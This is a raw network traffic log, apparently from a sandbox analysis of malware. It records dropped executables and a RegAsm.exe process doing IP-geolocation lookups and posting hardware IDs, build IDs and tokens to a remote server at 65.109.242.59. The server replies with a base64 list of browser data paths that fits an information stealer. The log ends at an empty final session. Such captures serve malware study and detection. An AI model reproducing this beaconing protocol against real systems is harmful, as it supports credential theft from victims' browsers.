2024-05-24 11:42:25 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 11:42:25 UTC	893	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:25 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2eM%2Bi%2FhtMYNguB9Z%2Bd2hsDVslb5l1pldzsA%2FZ5pKtJuHF9VEoRu9KKGEQqX0QvrtcaXjas2ACMsfHKgYpLN%2BK5b13ahuAMTQKyXXm6udNVMUprzyHoq9at5bRs3K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05b13d6542e7-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:25 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 11:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49818	34.117.186.192	443	3512	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:25 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:26 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:26 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:26 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:26 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49819	34.117.186.192	443	3912	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:26 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:26 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:26 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:26 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:26 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49817	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:26 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49820	172.67.147.32	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:26 UTC	193	OUT	GET /1BV4j7.mp4 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 11:42:26 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:26 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.41252899169921875 expires: Fri, 24 May 2024 11:42:26 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 27450952137264047=2; expires=Sat, 24 May 2025 11:42:26 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 11:42:26 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2B9cX7lhaC2mw3L1mPbeVCXdT2hX2xaLwU7bckRUSIjFlcULoth4Fg9qjphYOLh%2BLobo2KCvkG%2F4TKdCD30hHBZKjGnSyaLP4Bi3UOn5%2Fdh2dD2DlsPXxowcmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05b81b2e8c4d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:26 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 11:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49821	104.26.4.15	443	3512	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:26 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:26 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC467202:8296_93878F2E:0050_66507D22_EF875A1:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZL%2BoWwqUkLFE16ydPCABahZb7ngexfZZa1gSrdHM6DlVko40zwrVLap8EnFoh3PATFDxek7G9mS4tTBP%2BUmrW2De16EhSm9eJ425im1JJt5IqbLj7mMU2wk%2FfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05b9ef678cc3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:26 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49822	104.26.4.15	443	3912	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:26 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:26 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46726D:DAA8_93878F2E:0050_66507D22_F03D7A1:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lnr3rAmuRdOCV2umGsuj%2FxD3h%2F279UqKGBHgwq3rItgJ2EVsKZ9UaxA3xt%2B8quQzTOY%2F5OoThIOtiQTo%2BhktnRuYMc1S7DHd1WMarZtnIFn27J8xYwXmnNHSFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05ba0e5d1a13-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:26 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49823	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:28 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:28 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 36 41 41 45 31 43 44 39 45 33 32 38 38 37 32 30 32 38 37 35 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="hwid"4B6AAE1CD9E32887202875-a33c7340-61ca-11ee-8c18-806e6f6e6963------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------
2024-05-24 11:42:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:28 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 30 7c 33 32 38 35 39 34 32 39 64 62 32 31 34 65 65 36 35 64 34 63 66 62 31 32 32 65 39 33 33 36 33 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|0\|32859429db214ee65d4cfb122e93363d\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49825	34.117.186.192	443	5344	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:29 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:29 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:29 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:29 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:29 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49827	104.26.4.15	443	5344	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:32 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:32 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46E629:CD58_93878F2E:0050_66507D28_F03D8E3:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwL1Rf2%2BME65WAFkC5T%2F8LpL0k2pBT4M5gBu0JDMDsF8DMJOSrCUR6GxNLtWJHo9kcoz2xqQ8GHeCmr1JnROC8QSDQv6IiMKynDLxu%2BcEfMRTDJMuNzs4qLJnA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05dc09368ca2-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:32 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49828	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:33 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 38 35 39 34 32 39 64 62 32 31 34 65 65 36 35 64 34 63 66 62 31 32 32 65 39 33 33 36 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"32859429db214ee65d4cfb122e93363d------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------CBAFIDAECBGCBFHJEBGDCont
2024-05-24 11:42:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:33 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49829	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
